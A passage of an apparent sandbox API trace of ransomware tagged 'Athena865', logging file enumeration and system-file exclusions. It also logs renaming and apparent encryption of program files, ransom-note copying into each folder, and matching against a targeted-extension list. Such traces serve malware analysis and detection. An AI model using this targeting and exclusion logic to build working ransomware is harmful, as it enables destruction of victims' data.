ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x796bc150, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x60e00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WinMail.exe", cAlternateFileName="")) returned 1 [0046.984] lstrcmpiW (lpString1="WinMail.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0046.984] lstrcmpiW (lpString1="WinMail.exe", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0046.984] lstrcmpiW (lpString1="WinMail.exe", lpString2=".") returned 1 [0046.984] lstrcmpiW (lpString1="WinMail.exe", lpString2="..") returned 1 [0046.984] lstrcmpiW (lpString1="WinMail.exe", lpString2="windows") returned 1 [0046.984] lstrcmpiW (lpString1="WinMail.exe", lpString2="bootmgr") returned 1 [0046.984] lstrcmpiW (lpString1="WinMail.exe", lpString2="temp") returned 1 [0046.984] lstrcmpiW (lpString1="WinMail.exe", lpString2="pagefile.sys") returned 1 [0046.984] lstrcmpiW (lpString1="WinMail.exe", lpString2="boot") returned 1 [0046.984] lstrcmpiW (lpString1="WinMail.exe", lpString2="ids.txt") returned 1 [0046.984] lstrcmpiW (lpString1="WinMail.exe", lpString2="ntuser.dat") returned 1 [0046.984] lstrcmpiW (lpString1="WinMail.exe", lpString2="perflogs") returned 1 [0046.984] lstrcmpiW (lpString1="WinMail.exe", lpString2="MSBuild") returned 1 [0046.984] lstrlenW (lpString="WinMail.exe") returned 11 [0046.984] lstrcpyW (in: lpString1=0x241e890, lpString2="WinMail.exe" | out: lpString1="WinMail.exe") returned="WinMail.exe" [0046.984] lstrlenW (lpString="WinMail.exe") returned 11 [0046.984] lstrlenW (lpString="Athena865") returned 9 [0046.984] lstrcmpiW (lpString1="nMail.exe", lpString2="Athena865") returned 1 [0046.984] lstrlenW (lpString=".dll") returned 4 [0046.984] lstrcmpiW (lpString1="WinMail.exe", lpString2=".dll") returned 1 [0046.984] lstrlenW (lpString=".lnk") returned 4 [0046.984] lstrcmpiW (lpString1="WinMail.exe", lpString2=".lnk") returned 1 [0046.984] lstrlenW (lpString=".ini") returned 4 [0046.984] lstrcmpiW (lpString1="WinMail.exe", lpString2=".ini") returned 1 [0046.984] lstrlenW (lpString=".sys") returned 4 [0046.984] lstrcmpiW (lpString1="WinMail.exe", lpString2=".sys") returned 1 [0046.984] lstrlenW (lpString="WinMail.exe") returned 11 [0046.984] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Windows Mail\\WinMail.exe.Athena865") returned 57 [0046.984] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Windows Mail\\WinMail.exe" (normalized: "c:\\program files (x86)\\windows mail\\winmail.exe"), lpNewFileName="C:\\Program Files (x86)\\Windows Mail\\WinMail.exe.Athena865" (normalized: "c:\\program files (x86)\\windows mail\\winmail.exe.athena865"), dwFlags=0x1) returned 1 [0046.985] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Mail\\WinMail.exe.Athena865" (normalized: "c:\\program files (x86)\\windows mail\\winmail.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0046.985] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=396800) returned 1 [0046.985] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0046.986] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d4f8 [0046.986] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5192b0 [0046.986] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0046.986] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0046.986] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0046.987] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x61100, lpName=0x0) returned 0x154 [0046.988] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x61100) returned 0x1f0000 [0047.011] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0047.012] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0047.012] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0047.013] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d570 [0047.013] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d570 | out: hHeap=0x4f0000) returned 1 [0047.013] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50ef50 [0047.013] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0047.013] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ef50 | out: hHeap=0x4f0000) returned 1 [0047.013] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0047.013] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x532d08 [0047.013] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0047.013] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x532d08 | out: hHeap=0x4f0000) returned 1 [0047.013] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0047.013] UnmapViewOfFile (lpBaseAddress=0x1f0000) returned 1 [0047.016] CloseHandle (hObject=0x154) returned 1 [0047.016] CloseHandle (hObject=0x17c) returned 1 [0047.017] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d4f8 | out: hHeap=0x4f0000) returned 1 [0047.017] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5192b0 | out: hHeap=0x4f0000) returned 1 [0047.017] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0047.018] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x8e771d9d, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x8e771d9d, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x796bc150, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x60e00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WinMail.exe", cAlternateFileName="")) returned 0 [0047.018] FindClose (in: hFindFile=0x529450 | out: hFindFile=0x529450) returned 1 [0047.018] ReleaseMutex (hMutex=0xec) returned 1 [0047.019] CloseHandle (hObject=0xec) returned 1 [0047.019] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files (x86)\\Windows Media Player" | out: lpString1="C:\\Program Files (x86)\\Windows Media Player") returned="C:\\Program Files (x86)\\Windows Media Player" [0047.019] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528470 | out: hHeap=0x4f0000) returned 1 [0047.019] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50da18 | out: hHeap=0x4f0000) returned 1 [0047.019] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Media Player") returned 43 [0047.019] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\3B6932C38CF7A86743D40F4872887B74") returned 0xec [0047.019] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0047.019] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Windows Media Player" | out: lpString1="C:\\Program Files (x86)\\Windows Media Player") returned="C:\\Program Files (x86)\\Windows Media Player" [0047.019] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0047.019] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Windows Media Player\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\windows media player\\how to back your files.exe"), bFailIfExists=1) returned 0 [0047.019] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Media Player\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\windows media player\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0047.020] GetLastError () returned 0x0 [0047.020] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0047.020] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x532d08 [0047.020] ReadFile (in: hFile=0xf4, lpBuffer=0x532d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x532d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0047.023] CloseHandle (hObject=0xf4) returned 1 [0047.024] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x532d08 | out: hHeap=0x4f0000) returned 1 [0047.024] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0047.024] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows Media Player\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xbc570980, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc570980, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529450 [0047.024] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0047.024] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0047.024] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0047.024] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xbc570980, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc570980, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.024] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0047.024] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0047.024] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0047.024] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0047.024] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x21ca67c6, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0047.024] lstrcmpiW (lpString1="en-US", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0047.024] lstrcmpiW (lpString1="en-US", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0047.024] lstrcmpiW (lpString1="en-US", lpString2=".") returned 1 [0047.024] lstrcmpiW (lpString1="en-US", lpString2="..") returned 1 [0047.024] lstrcmpiW (lpString1="en-US", lpString2="windows") returned -1 [0047.024] lstrcmpiW (lpString1="en-US", lpString2="bootmgr") returned 1 [0047.024] lstrcmpiW (lpString1="en-US", lpString2="temp") returned -1 [0047.024] lstrcmpiW (lpString1="en-US", lpString2="pagefile.sys") returned -1 [0047.024] lstrcmpiW (lpString1="en-US", lpString2="boot") returned 1 [0047.024] lstrcmpiW (lpString1="en-US", lpString2="ids.txt") returned -1 [0047.024] lstrcmpiW (lpString1="en-US", lpString2="ntuser.dat") returned -1 [0047.024] lstrcmpiW (lpString1="en-US", lpString2="perflogs") returned -1 [0047.025] lstrcmpiW (lpString1="en-US", lpString2="MSBuild") returned -1 [0047.025] lstrlenW (lpString="en-US") returned 5 [0047.025] lstrcpyW (in: lpString1=0x241e8a0, lpString2="en-US" | out: lpString1="en-US") returned="en-US" [0047.025] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50da18 [0047.025] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x64) returned 0x52e510 [0047.025] lstrcatW (in: lpString1="en-US", lpString2="\\" | out: lpString1="en-US\\") returned="en-US\\" [0047.025] lstrcatW (in: lpString1="en-US\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="en-US\\HOW TO BACK YOUR FILES.exe") returned="en-US\\HOW TO BACK YOUR FILES.exe" [0047.025] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Windows Media Player\\en-US\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\windows media player\\en-us\\how to back your files.exe"), bFailIfExists=1) returned 1 [0047.027] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc570980, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbc570980, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0047.027] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0047.027] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Icons", cAlternateFileName="")) returned 1 [0047.027] lstrcmpiW (lpString1="Icons", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0047.027] lstrcmpiW (lpString1="Icons", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0047.027] lstrcmpiW (lpString1="Icons", lpString2=".") returned 1 [0047.027] lstrcmpiW (lpString1="Icons", lpString2="..") returned 1 [0047.027] lstrcmpiW (lpString1="Icons", lpString2="windows") returned -1 [0047.027] lstrcmpiW (lpString1="Icons", lpString2="bootmgr") returned 1 [0047.027] lstrcmpiW (lpString1="Icons", lpString2="temp") returned -1 [0047.027] lstrcmpiW (lpString1="Icons", lpString2="pagefile.sys") returned -1 [0047.027] lstrcmpiW (lpString1="Icons", lpString2="boot") returned 1 [0047.027] lstrcmpiW (lpString1="Icons", lpString2="ids.txt") returned -1 [0047.028] lstrcmpiW (lpString1="Icons", lpString2="ntuser.dat") returned -1 [0047.028] lstrcmpiW (lpString1="Icons", lpString2="perflogs") returned -1 [0047.028] lstrcmpiW (lpString1="Icons", lpString2="MSBuild") returned -1 [0047.028] lstrlenW (lpString="Icons") returned 5 [0047.028] lstrcpyW (in: lpString1=0x241e8a0, lpString2="Icons" | out: lpString1="Icons") returned="Icons" [0047.028] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50d9d0 [0047.028] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x64) returned 0x52e580 [0047.028] lstrcatW (in: lpString1="Icons", lpString2="\\" | out: lpString1="Icons\\") returned="Icons\\" [0047.028] lstrcatW (in: lpString1="Icons\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Icons\\HOW TO BACK YOUR FILES.exe") returned="Icons\\HOW TO BACK YOUR FILES.exe" [0047.028] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Windows Media Player\\Icons\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\windows media player\\icons\\how to back your files.exe"), bFailIfExists=1) returned 0 [0047.029] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81351db4, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81351db4, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Media Renderer", cAlternateFileName="MEDIAR~1")) returned 1 [0047.029] lstrcmpiW (lpString1="Media Renderer", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0047.029] lstrcmpiW (lpString1="Media Renderer", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0047.029] lstrcmpiW (lpString1="Media Renderer", lpString2=".") returned 1 [0047.029] lstrcmpiW (lpString1="Media Renderer", lpString2="..") returned 1 [0047.029] lstrcmpiW (lpString1="Media Renderer", lpString2="windows") returned -1 [0047.029] lstrcmpiW (lpString1="Media Renderer", lpString2="bootmgr") returned 1 [0047.029] lstrcmpiW (lpString1="Media Renderer", lpString2="temp") returned -1 [0047.029] lstrcmpiW (lpString1="Media Renderer", lpString2="pagefile.sys") returned -1 [0047.029] lstrcmpiW (lpString1="Media Renderer", lpString2="boot") returned 1 [0047.029] lstrcmpiW (lpString1="Media Renderer", lpString2="ids.txt") returned 1 [0047.029] lstrcmpiW (lpString1="Media Renderer", lpString2="ntuser.dat") returned -1 [0047.029] lstrcmpiW (lpString1="Media Renderer", lpString2="perflogs") returned -1 [0047.029] lstrcmpiW (lpString1="Media Renderer", lpString2="MSBuild") returned -1 [0047.029] lstrlenW (lpString="Media Renderer") returned 14 [0047.029] lstrcpyW (in: lpString1=0x241e8a0, lpString2="Media Renderer" | out: lpString1="Media Renderer") returned="Media Renderer" [0047.029] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50d9a0 [0047.029] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x76) returned 0x501da8 [0047.029] lstrcatW (in: lpString1="Media Renderer", lpString2="\\" | out: lpString1="Media Renderer\\") returned="Media Renderer\\" [0047.029] lstrcatW (in: lpString1="Media Renderer\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Media Renderer\\HOW TO BACK YOUR FILES.exe") returned="Media Renderer\\HOW TO BACK YOUR FILES.exe" [0047.029] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\windows media player\\media renderer\\how to back your files.exe"), bFailIfExists=1) returned 1 [0047.041] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5da15071, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x5da15071, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x9b03e9f0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x25a00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="mpvis.DLL", cAlternateFileName="")) returned 1 [0047.041] lstrcmpiW (lpString1="mpvis.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0047.041] lstrcmpiW (lpString1="mpvis.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0047.041] lstrcmpiW (lpString1="mpvis.DLL", lpString2=".") returned 1 [0047.041] lstrcmpiW (lpString1="mpvis.DLL", lpString2="..") returned 1 [0047.041] lstrcmpiW (lpString1="mpvis.DLL", lpString2="windows") returned -1 [0047.041] lstrcmpiW (lpString1="mpvis.DLL", lpString2="bootmgr") returned 1 [0047.041] lstrcmpiW (lpString1="mpvis.DLL", lpString2="temp") returned -1 [0047.041] lstrcmpiW (lpString1="mpvis.DLL", lpString2="pagefile.sys") returned -1 [0047.041] lstrcmpiW (lpString1="mpvis.DLL", lpString2="boot") returned 1 [0047.041] lstrcmpiW (lpString1="mpvis.DLL", lpString2="ids.txt") returned 1 [0047.041] lstrcmpiW (lpString1="mpvis.DLL", lpString2="ntuser.dat") returned -1 [0047.041] lstrcmpiW (lpString1="mpvis.DLL", lpString2="perflogs") returned -1 [0047.041] lstrcmpiW (lpString1="mpvis.DLL", lpString2="MSBuild") returned -1 [0047.041] lstrlenW (lpString="mpvis.DLL") returned 9 [0047.041] lstrcpyW (in: lpString1=0x241e8a0, lpString2="mpvis.DLL" | out: lpString1="mpvis.DLL") returned="mpvis.DLL" [0047.041] lstrlenW (lpString="mpvis.DLL") returned 9 [0047.041] lstrlenW (lpString="Athena865") returned 9 [0047.041] lstrlenW (lpString=".dll") returned 4 [0047.042] lstrcmpiW (lpString1="mpvis.DLL", lpString2=".dll") returned 1 [0047.042] lstrlenW (lpString=".lnk") returned 4 [0047.042] lstrcmpiW (lpString1="mpvis.DLL", lpString2=".lnk") returned 1 [0047.042] lstrlenW (lpString=".ini") returned 4 [0047.042] lstrcmpiW (lpString1="mpvis.DLL", lpString2=".ini") returned 1 [0047.042] lstrlenW (lpString=".sys") returned 4 [0047.042] lstrcmpiW (lpString1="mpvis.DLL", lpString2=".sys") returned 1 [0047.042] lstrlenW (lpString="mpvis.DLL") returned 9 [0047.042] lstrlenW (lpString="bak") returned 3 [0047.042] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0047.042] lstrlenW (lpString="ba_") returned 3 [0047.042] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0047.042] lstrlenW (lpString="dbb") returned 3 [0047.042] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0047.042] lstrlenW (lpString="vmdk") returned 4 [0047.042] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0047.042] lstrlenW (lpString="rar") returned 3 [0047.042] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0047.042] lstrlenW (lpString="zip") returned 3 [0047.042] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0047.042] lstrlenW (lpString="tgz") returned 3 [0047.042] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0047.042] lstrlenW (lpString="vbox") returned 4 [0047.042] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0047.042] lstrlenW (lpString="vdi") returned 3 [0047.042] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0047.042] lstrlenW (lpString="vhd") returned 3 [0047.042] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0047.042] lstrlenW (lpString="vhdx") returned 4 [0047.042] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0047.042] lstrlenW (lpString="avhd") returned 4 [0047.042] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0047.042] lstrlenW (lpString="db") returned 2 [0047.042] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0047.042] lstrlenW (lpString="db2") returned 3 [0047.042] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0047.042] lstrlenW (lpString="db3") returned 3 [0047.043] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0047.043] lstrlenW (lpString="dbf") returned 3 [0047.043] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0047.043] lstrlenW (lpString="mdf") returned 3 [0047.043] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0047.043] lstrlenW (lpString="mdb") returned 3 [0047.043] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0047.043] lstrlenW (lpString="sql") returned 3 [0047.043] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0047.043] lstrlenW (lpString="sqlite") returned 6 [0047.043] lstrcmpiW (lpString1="is.DLL", lpString2="sqlite") returned -1 [0047.043] lstrlenW (lpString="sqlite3") returned 7 [0047.043] lstrcmpiW (lpString1="vis.DLL", lpString2="sqlite3") returned 1 [0047.043] lstrlenW (lpString="sqlitedb") returned 8 [0047.043] lstrcmpiW (lpString1="pvis.DLL", lpString2="sqlitedb") returned -1 [0047.043] lstrlenW (lpString="xml") returned 3 [0047.043] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0047.043] lstrlenW (lpString="$er") returned 3 [0047.043] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0047.043] lstrlenW (lpString="4dd") returned 3 [0047.043] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0047.043] lstrlenW (lpString="4dl") returned 3 [0047.043] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0047.043] lstrlenW (lpString="^^^") returned 3 [0047.043] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0047.043] lstrlenW (lpString="abs") returned 3 [0047.043] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0047.043] lstrlenW (lpString="abx") returned 3 [0047.043] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0047.043] lstrlenW (lpString="accdb") returned 5 [0047.043] lstrcmpiW (lpString1="s.DLL", lpString2="accdb") returned 1 [0047.043] lstrlenW (lpString="accdc") returned 5 [0047.043] lstrcmpiW (lpString1="s.DLL", lpString2="accdc") returned 1 [0047.043] lstrlenW (lpString="accde") returned 5 [0047.043] lstrcmpiW (lpString1="s.DLL", lpString2="accde") returned 1 [0047.043] lstrlenW (lpString="accdr") returned 5 [0047.043] lstrcmpiW (lpString1="s.DLL", lpString2="accdr") returned 1 [0047.044] lstrlenW (lpString="accdt") returned 5 [0047.044] lstrcmpiW (lpString1="s.DLL", lpString2="accdt") returned 1 [0047.044] lstrlenW (lpString="accdw") returned 5 [0047.044] lstrcmpiW (lpString1="s.DLL", lpString2="accdw") returned 1 [0047.044] lstrlenW (lpString="accft") returned 5 [0047.044] lstrcmpiW (lpString1="s.DLL", lpString2="accft") returned 1 [0047.044] lstrlenW (lpString="adb") returned 3 [0047.044] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0047.044] lstrlenW (lpString="adb") returned 3 [0047.044] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0047.044] lstrlenW (lpString="ade") returned 3 [0047.044] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0047.044] lstrlenW (lpString="adf") returned 3 [0047.044] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0047.044] lstrlenW (lpString="adn") returned 3 [0047.044] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0047.044] lstrlenW (lpString="adp") returned 3 [0047.044] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0047.044] lstrlenW (lpString="alf") returned 3 [0047.044] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 